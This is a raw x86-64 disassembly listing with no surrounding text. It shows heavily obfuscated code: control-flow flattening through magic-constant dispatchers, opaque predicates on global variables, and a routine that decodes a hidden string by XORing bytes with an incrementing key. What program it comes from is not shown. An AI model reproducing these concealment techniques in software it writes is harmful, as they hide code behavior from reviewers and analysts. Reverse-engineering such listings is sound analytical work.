mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xd
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 3]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002e440
cmp ecx, 0xe597bc97
je 0x14002e45d
cmp ecx, 0xfa42bebb
je 0x14002e46b
cmp ecx, 0x38980679
jne 0x14002e410
jmp 0x14002e477
cmp ecx, 0xbbb0bd52
je 0x14002e472
cmp ecx, 0xc1647419
jne 0x14002e410
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002e410
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002e410
mov ecx, 0x38980679
jmp 0x14002e410
mov ecx, r10d
jmp 0x14002e410
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xe
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 4]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002e520
cmp ecx, 0xe597bc97
je 0x14002e53d
cmp ecx, 0xfa42bebb
je 0x14002e54b
cmp ecx, 0x38980679
jne 0x14002e4f0
jmp 0x14002e557
cmp ecx, 0xbbb0bd52
je 0x14002e552
cmp ecx, 0xc1647419
jne 0x14002e4f0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002e4f0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002e4f0
mov ecx, 0x38980679
jmp 0x14002e4f0
mov ecx, r10d
jmp 0x14002e4f0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xf
mov byte [r8 + 4], cl
add r8, 5
mov qword [rbp + 0x128], r8
movzx ecx, byte [rax + 5]
mov byte [rbp + 0x190], cl
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002e5c0
cmp ecx, 0xe597bc97
je 0x14002e5dd
cmp ecx, 0xfa42bebb
je 0x14002e5eb
cmp ecx, 0x38980679
jne 0x14002e590
jmp 0x14002e5f7
cmp ecx, 0xbbb0bd52
je 0x14002e5f2
cmp ecx, 0xc1647419
jne 0x14002e590
movsx r8, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002e590
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002e590
mov ecx, 0x38980679
jmp 0x14002e590
mov ecx, r10d
jmp 0x14002e590
mov qword [rbp + 0x1c0], r8
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x10
mov r8, qword [rbp + 0x128]
mov byte [r8], cl
mov ecx, 0xf1d372ca
jmp 0x14002e640
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x20
mov byte [r8 + 0x10], cl
add r8, 0x11
mov qword [rbp + 0x190], r8
mov ecx, 0x6a88e764
nop
cmp ecx, 0x6a88e764
je 0x14002f077
cmp ecx, 0xf1d372ca
jne 0x14002e640
mov r8, qword [rbp + 0x128]
movzx ecx, byte [rax + 6]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002e6f0
cmp ecx, 0xe597bc97
je 0x14002e70d
cmp ecx, 0xfa42bebb
je 0x14002e71b
cmp ecx, 0x38980679
jne 0x14002e6c0
jmp 0x14002e727
cmp ecx, 0xbbb0bd52
je 0x14002e722
cmp ecx, 0xc1647419
jne 0x14002e6c0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002e6c0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002e6c0
mov ecx, 0x38980679
jmp 0x14002e6c0
mov ecx, r10d
jmp 0x14002e6c0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x11
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 7]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002e7d0
cmp ecx, 0xe597bc97
je 0x14002e7ed
cmp ecx, 0xfa42bebb
je 0x14002e7fb
cmp ecx, 0x38980679
jne 0x14002e7a0
jmp 0x14002e807
cmp ecx, 0xbbb0bd52
je 0x14002e802
cmp ecx, 0xc1647419
jne 0x14002e7a0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002e7a0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002e7a0
mov ecx, 0x38980679
jmp 0x14002e7a0
mov ecx, r10d
jmp 0x14002e7a0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x12
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 8]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002e8a0
cmp ecx, 0xe597bc97
je 0x14002e8bd
cmp ecx, 0xfa42bebb
je 0x14002e8cb
cmp ecx, 0x38980679
jne 0x14002e870
jmp 0x14002e8d7
cmp ecx, 0xbbb0bd52
je 0x14002e8d2
cmp ecx, 0xc1647419
jne 0x14002e870
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002e870
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002e870
mov ecx, 0x38980679
jmp 0x14002e870
mov ecx, r10d
jmp 0x14002e870
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x13
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 9]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002e980
cmp ecx, 0xe597bc97
je 0x14002e99d
cmp ecx, 0xfa42bebb
je 0x14002e9ab
cmp ecx, 0x38980679
jne 0x14002e950
jmp 0x14002e9b7
cmp ecx, 0xbbb0bd52
je 0x14002e9b2
cmp ecx, 0xc1647419
jne 0x14002e950
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002e950
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002e950
mov ecx, 0x38980679
jmp 0x14002e950
mov ecx, r10d
jmp 0x14002e950
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x14
mov byte [r8 + 4], cl
movzx ecx, byte [rax + 0xa]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ea10
cmp ecx, 0xe597bc97
je 0x14002ea2d
cmp ecx, 0xfa42bebb
je 0x14002ea3b
cmp ecx, 0x38980679
jne 0x14002e9e0
jmp 0x14002ea47
cmp ecx, 0xbbb0bd52
je 0x14002ea42
cmp ecx, 0xc1647419
jne 0x14002e9e0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002e9e0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002e9e0
mov ecx, 0x38980679
jmp 0x14002e9e0
mov ecx, r10d
jmp 0x14002e9e0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x15
mov byte [r8 + 5], cl
movzx ecx, byte [rax + 0xb]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002eaa0
cmp ecx, 0xe597bc97
je 0x14002eabd
cmp ecx, 0xfa42bebb
je 0x14002eacb
cmp ecx, 0x38980679
jne 0x14002ea70
jmp 0x14002ead7
cmp ecx, 0xbbb0bd52
je 0x14002ead2
cmp ecx, 0xc1647419
jne 0x14002ea70
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002ea70
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002ea70
mov ecx, 0x38980679
jmp 0x14002ea70
mov ecx, r10d
jmp 0x14002ea70
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x16
mov byte [r8 + 6], cl
movzx ecx, byte [rax + 0xc]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002eb30
cmp ecx, 0xe597bc97
je 0x14002eb4d
cmp ecx, 0xfa42bebb
je 0x14002eb5b
cmp ecx, 0x38980679
jne 0x14002eb00
jmp 0x14002eb67
cmp ecx, 0xbbb0bd52
je 0x14002eb62
cmp ecx, 0xc1647419
jne 0x14002eb00
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002eb00
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002eb00
mov ecx, 0x38980679
jmp 0x14002eb00
mov ecx, r10d
jmp 0x14002eb00
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x17
mov byte [r8 + 7], cl
movzx ecx, byte [rax + 0xd]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ebc0
cmp ecx, 0xe597bc97
je 0x14002ebdd
cmp ecx, 0xfa42bebb
je 0x14002ebeb
cmp ecx, 0x38980679
jne 0x14002eb90
jmp 0x14002ebf7
cmp ecx, 0xbbb0bd52
je 0x14002ebf2
cmp ecx, 0xc1647419
jne 0x14002eb90
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002eb90
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002eb90
mov ecx, 0x38980679
jmp 0x14002eb90
mov ecx, r10d
jmp 0x14002eb90
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x18
mov byte [r8 + 8], cl
movzx ecx, byte [rax + 0xe]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ec50
cmp ecx, 0xe597bc97
je 0x14002ec6d
cmp ecx, 0xfa42bebb
je 0x14002ec7b
cmp ecx, 0x38980679
jne 0x14002ec20
jmp 0x14002ec87
cmp ecx, 0xbbb0bd52
je 0x14002ec82
cmp ecx, 0xc1647419
jne 0x14002ec20
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002ec20
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002ec20
mov ecx, 0x38980679
jmp 0x14002ec20
mov ecx, r10d
jmp 0x14002ec20
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x19
mov byte [r8 + 9], cl
movzx ecx, byte [rax + 0xf]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ece0
cmp ecx, 0xe597bc97
je 0x14002ecfd
cmp ecx, 0xfa42bebb
je 0x14002ed0b
cmp ecx, 0x38980679
jne 0x14002ecb0
jmp 0x14002ed17
cmp ecx, 0xbbb0bd52
je 0x14002ed12
cmp ecx, 0xc1647419
jne 0x14002ecb0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002ecb0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002ecb0
mov ecx, 0x38980679
jmp 0x14002ecb0
mov ecx, r10d
jmp 0x14002ecb0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1a
mov byte [r8 + 0xa], cl
movzx ecx, byte [rax + 0x10]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ed70
cmp ecx, 0xe597bc97
je 0x14002ed8d
cmp ecx, 0xfa42bebb
je 0x14002ed9b
cmp ecx, 0x38980679
jne 0x14002ed40
jmp 0x14002eda7
cmp ecx, 0xbbb0bd52
je 0x14002eda2
cmp ecx, 0xc1647419
jne 0x14002ed40
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002ed40
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002ed40
mov ecx, 0x38980679
jmp 0x14002ed40
mov ecx, r10d
jmp 0x14002ed40
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1b
mov byte [r8 + 0xb], cl
movzx ecx, byte [rax + 0x11]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ee00
cmp ecx, 0xe597bc97
je 0x14002ee1d
cmp ecx, 0xfa42bebb
je 0x14002ee2b
cmp ecx, 0x38980679
jne 0x14002edd0
jmp 0x14002ee37
cmp ecx, 0xbbb0bd52
je 0x14002ee32
cmp ecx, 0xc1647419
jne 0x14002edd0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002edd0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002edd0
mov ecx, 0x38980679
jmp 0x14002edd0
mov ecx, r10d
jmp 0x14002edd0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1c
mov byte [r8 + 0xc], cl
movzx ecx, byte [rax + 0x12]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ee90
cmp ecx, 0xe597bc97
je 0x14002eead
cmp ecx, 0xfa42bebb
je 0x14002eebb
cmp ecx, 0x38980679
jne 0x14002ee60
jmp 0x14002eec7
cmp ecx, 0xbbb0bd52
je 0x14002eec2
cmp ecx, 0xc1647419
jne 0x14002ee60
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002ee60
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002ee60
mov ecx, 0x38980679
jmp 0x14002ee60
mov ecx, r10d
jmp 0x14002ee60
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1d
mov byte [r8 + 0xd], cl
movzx ecx, byte [rax + 0x13]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ef20
cmp ecx, 0xe597bc97
je 0x14002ef3d
cmp ecx, 0xfa42bebb
je 0x14002ef4b
cmp ecx, 0x38980679
jne 0x14002eef0
jmp 0x14002ef57
cmp ecx, 0xbbb0bd52
je 0x14002ef52
cmp ecx, 0xc1647419
jne 0x14002eef0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002eef0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002eef0
mov ecx, 0x38980679
jmp 0x14002eef0
mov ecx, r10d
jmp 0x14002eef0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1e
mov byte [r8 + 0xe], cl
movzx ecx, byte [rax + 0x14]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002efb0
cmp ecx, 0xe597bc97
je 0x14002efcd
cmp ecx, 0xfa42bebb
je 0x14002efdb
cmp ecx, 0x38980679
jne 0x14002ef80
jmp 0x14002efe7
cmp ecx, 0xbbb0bd52
je 0x14002efe2
cmp ecx, 0xc1647419
jne 0x14002ef80
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002ef80
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002ef80
mov ecx, 0x38980679
jmp 0x14002ef80
mov ecx, r10d
jmp 0x14002ef80
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1f
mov byte [r8 + 0xf], cl
movzx ecx, byte [rax + 0x15]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002f040
cmp ecx, 0xe597bc97
je 0x14002f05d
cmp ecx, 0xfa42bebb
je 0x14002f06b
cmp ecx, 0x38980679
jne 0x14002f010
jmp 0x14002e619
cmp ecx, 0xbbb0bd52
je 0x14002f072
cmp ecx, 0xc1647419
jne 0x14002f010
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002f010
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002f010
mov ecx, 0x38980679
jmp 0x14002f010
mov ecx, r10d
jmp 0x14002f010
movzx eax, byte [rax + 0x16]
mov byte [rbp + 0x1cc], al
mov eax, dword [0x1402b5e18]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5e1c], 0xa
setl cl
or cl, al
mov eax, 0xe597bc97
cmovne eax, ebx
mov r8d, 0xe597bc97
cmovne r8d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002f0f0
cmp ecx, 0xe597bc97
je 0x14002f10c
cmp ecx, 0xfa42bebb
je 0x14002f11a
cmp ecx, 0x38980679
jne 0x14002f0c0
jmp 0x14002f126
cmp ecx, 0xbbb0bd52
je 0x14002f121
cmp ecx, 0xc1647419
jne 0x14002f0c0
movsx r9, byte [rbp + 0x1cc]
mov ecx, eax
jmp 0x14002f0c0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002f0c0
mov ecx, 0x38980679
jmp 0x14002f0c0
mov ecx, r8d
jmp 0x14002f0c0
mov qword [rbp + 0x1c0], r9
mov rax, qword [rbp + 0x1c0]
xor al, 0x21
mov rcx, qword [rbp + 0x190]
mov byte [rcx], al
mov rax, qword [rbp + 0x190]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x198]
mov byte [rax + 0x18], 1
mov rax, qword [rbp + 0x198]
mov eax, 0xe971b5c6
jmp 0x14002cf20
cmp eax, 0x77df2da
jne 0x14002cf20
mov rax, qword [rbp + 0x138]
mov eax, 0x1c6bed9b
mov rsp, rdx
jmp 0x14002ab10
cmp eax, 0x24f9b0f1
je 0x14002f243
cmp eax, 0x709d70bc
jne 0x14002ab10
mov eax, dword [0x1402b5e20]
mov ecx, dword [0x1402b5e24]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x9c17fc93
mov r9d, 0x1c6bed9b
cmovne r8d, r9d
cmp edx, 0xffffffff
jmp 0x14002f230
cmp eax, 0xb8512acd
jne 0x14002f286
mov eax, 0x24f9b0f1
jmp 0x14002ab10
mov eax, dword [0x1402b5e20]
mov ecx, dword [0x1402b5e24]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0xb8512acd
mov r9d, 0x24f9b0f1
cmovne r8d, r9d
test eax, edx
mov eax, r8d
cmove eax, r9d
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x14002ab10
mov eax, dword [0x1402b5e20]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xb8512acd
mov r8d, 0xcb5e87a6
cmove eax, r8d
cmp dword [0x1402b5e24], 0xa
mov edx, 0xb8512acd
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r8d
jmp 0x14002ab10
cmp eax, 0xa979251f
jne 0x14002ab10
mov rsp, qword [rbp + 0xf8]
sub rsp, 0x20
lea rcx, [rbp + 0x1a0]
lea rdi, [rbp - 0x78]
mov rdx, rdi
call fcn.1400b3950
lea rcx, [0x1402b6a20]
mov rdx, rdi
call fcn.1400b34d0
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x148]
call fcn.1400b3ba0
add rsp, 0x20
mov qword [rbp + 0xf8], rsp
mov eax, dword [0x1402b5e28]
mov edx, dword [0x1402b5e2c]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete byte [rbp + 0x107]
cmp edx, 0xa
setl byte [rbp + 0xf7]
mov eax, 0xf10af89c
jmp 0x14002f320
mov eax, 0xe817b6ec
nop word cs:[rax + rax]
cmp eax, 0x26a6955c
jg 0x14002f3a0
cmp eax, 0xf10af89b
jle 0x14002f480
cmp eax, 0xfcb6c36
jg 0x14002f4ef
cmp eax, 0xf10af89c
je 0x14002fc08
cmp eax, 0xf28b295a
je 0x14002fa85
cmp eax, 0xfbfddfe2
jne 0x14002f320
mov eax, dword [0x1402b5e28]
mov ecx, dword [0x1402b5e2c]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x2e6946ff
mov r9d, 0xe817b6ec
cmovne r8d, r9d
cmp edx, 0xffffffff
jmp 0x14002f53e
cmp eax, 0x373bdda6
jg 0x14002f440
cmp eax, 0x2c074592
jle 0x14002f551
cmp eax, 0x2c074593
je 0x14002fab1
cmp eax, 0x2e6946ff
je 0x14002f311
cmp eax, 0x2e87f766
jne 0x14002f320
mov eax, dword [0x1402b5e28]
mov ecx, dword [0x1402b5e2c]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0x2b91bd58
mov r9d, 0x3da12f50
cmovne r8d, r9d
test eax, edx
mov eax, r8d
cmove eax, r9d
cmp ecx, 0xa
mov rcx, qword [rbp + 0x188]
mov qword [rbp + 0x128], rcx
cmovge eax, r8d
jmp 0x14002f320
cmp eax, 0x455de9b7
jle 0x14002f578
cmp eax, 0x455de9b8
je 0x14002fb0e
cmp eax, 0x5140c74a
je 0x14002fa37
cmp eax, 0x5e408a19
jne 0x14002f320
mov rax, qword [rbp + 0x138]
mov eax, 0x2c074593
jmp 0x14002f320
cmp eax, 0x9a293046
jle 0x14002f598
cmp eax, 0x9a293047
je 0x14002fb8f
cmp eax, 0xa02c743d
je 0x14002fa41
cmp eax, 0xe817b6ec
jne 0x14002f320
mov eax, dword [0x1402b5e28]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x2e6946ff
mov r8d, 0x209386fd
cmove eax, r8d
cmp dword [0x1402b5e2c], 0xa
mov edx, 0x2e6946ff
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r8d
jmp 0x14002f320
cmp eax, 0xfcb6c37
je 0x14002fba7
cmp eax, 0x2161b090
jne 0x14002fc40
mov eax, dword [0x1402b5e28]
mov ecx, dword [0x1402b5e2c]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0x2b91bd58
mov r9d, 0x2e87f766
cmovne r8d, r9d
test eax, edx
mov eax, r8d
cmove eax, r9d
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x14002f320
cmp eax, 0x26a6955d
je 0x14002fa9d
cmp eax, 0x2b91bd58
jne 0x14002f320
mov rax, qword [rbp + 0x188]
mov eax, 0x2e87f766
jmp 0x14002f320
cmp eax, 0x373bdda7
je 0x14002faa7
cmp eax, 0x3da12f50
jne 0x14002f320
mov eax, 0x9a293047
jmp 0x14002f320
cmp eax, 0x8a9474b3
je 0x14002fb85
cmp eax, 0x8d1e2215
jne 0x14002f320
mov rax, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x198]
mov r9d, 0x899e8b5f
jmp 0x14002f5d0
mov r9d, 0x87c01140
nop word [rax + rax]
cmp r9d, 0x6f58a68
jle 0x14002f650
cmp r9d, 0x61b2e28d
jg 0x14002f720
cmp r9d, 0x36b0fb7c
jg 0x14002f766
cmp r9d, 0x6f58a69
je 0x14002fa0e
cmp r9d, 0x21a1680e
je 0x14002f8bc
cmp r9d, 0x32147593
jne 0x14002f5d0
mov ecx, dword [0x1402b5e30]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
mov r9d, 0xcc7c0d6f
mov r11d, 0x42f1da3c
jmp 0x14002f9c9
cmp r9d, 0xdc84a7e3
jg 0x14002f6a0
cmp r9d, 0xac209fc4
jle 0x14002f7df
cmp r9d, 0xac209fc5
je 0x14002f932
cmp r9d, 0xb0fbe9de
je 0x14002f896
cmp r9d, 0xcc7c0d6f
jne 0x14002f5d0
mov r9d, 0x32147593
jmp 0x14002f5d0
cmp r9d, 0xe770601b
jle 0x14002f804
cmp r9d, 0xe770601c
je 0x14002f94f
cmp r9d, 0xf55d0b11
je 0x14002f5c4
cmp r9d, 0x1f03251
jne 0x14002f5d0
mov qword [rbp + 0x1a0], rdx
mov dword [rbp + 0x1cc], r8d
mov ecx, dword [0x1402b5e30]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
mov r9d, 0x21a1680e
mov r11d, 0xf55d0b11
cmove r9d, r11d
cmp dword [0x1402b5e34], 0xa
mov r10d, 0x21a1680e
jmp 0x14002f9da
cmp r9d, 0x6b0cb916
jle 0x14002f829
cmp r9d, 0x6b0cb917
je 0x14002f9ee
cmp r9d, 0x73c3298d
je 0x14002f8b1
cmp r9d, 0x74da6c2a
jne 0x14002f5d0
mov dword [rbp + 0xf0], r8d
mov r9d, 0xac209fc5
jmp 0x14002f5d0
cmp r9d, 0x36b0fb7d
je 0x14002f9f9
cmp r9d, 0x54e53036
jne 0x14002fa20
mov ecx, dword [0x1402b5e30]
mov r10d, dword [0x1402b5e34]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp r10d, 0xa
setl r11b
xor r11b, cl
mov ecx, 0x6b0cb917
mov r11d, 0xdc84a7e4
cmovne ecx, r11d
cmp r9d, 0xffffffff
mov r9d, ecx
cmove r9d, r11d
cmp r10d, 0xa
cmovge r9d, ecx
lea ecx, [r8 + 1]
mov dword [rbp + 0x140], ecx
jmp 0x14002f5d0
cmp r9d, 0x87c01140
je 0x14002f8c7
cmp r9d, 0x899e8b5f
jne 0x14002f5d0
mov r9d, 0x36b0fb7d
jmp 0x14002f5d0
cmp r9d, 0xdc84a7e4
je 0x14002f927
cmp r9d, 0xded928ca
jne 0x14002f5d0
mov r9d, 0x61b2e28e
jmp 0x14002f5d0
cmp r9d, 0x61b2e28e
je 0x14002f9a3
cmp r9d, 0x628949d9
jne 0x14002f5d0
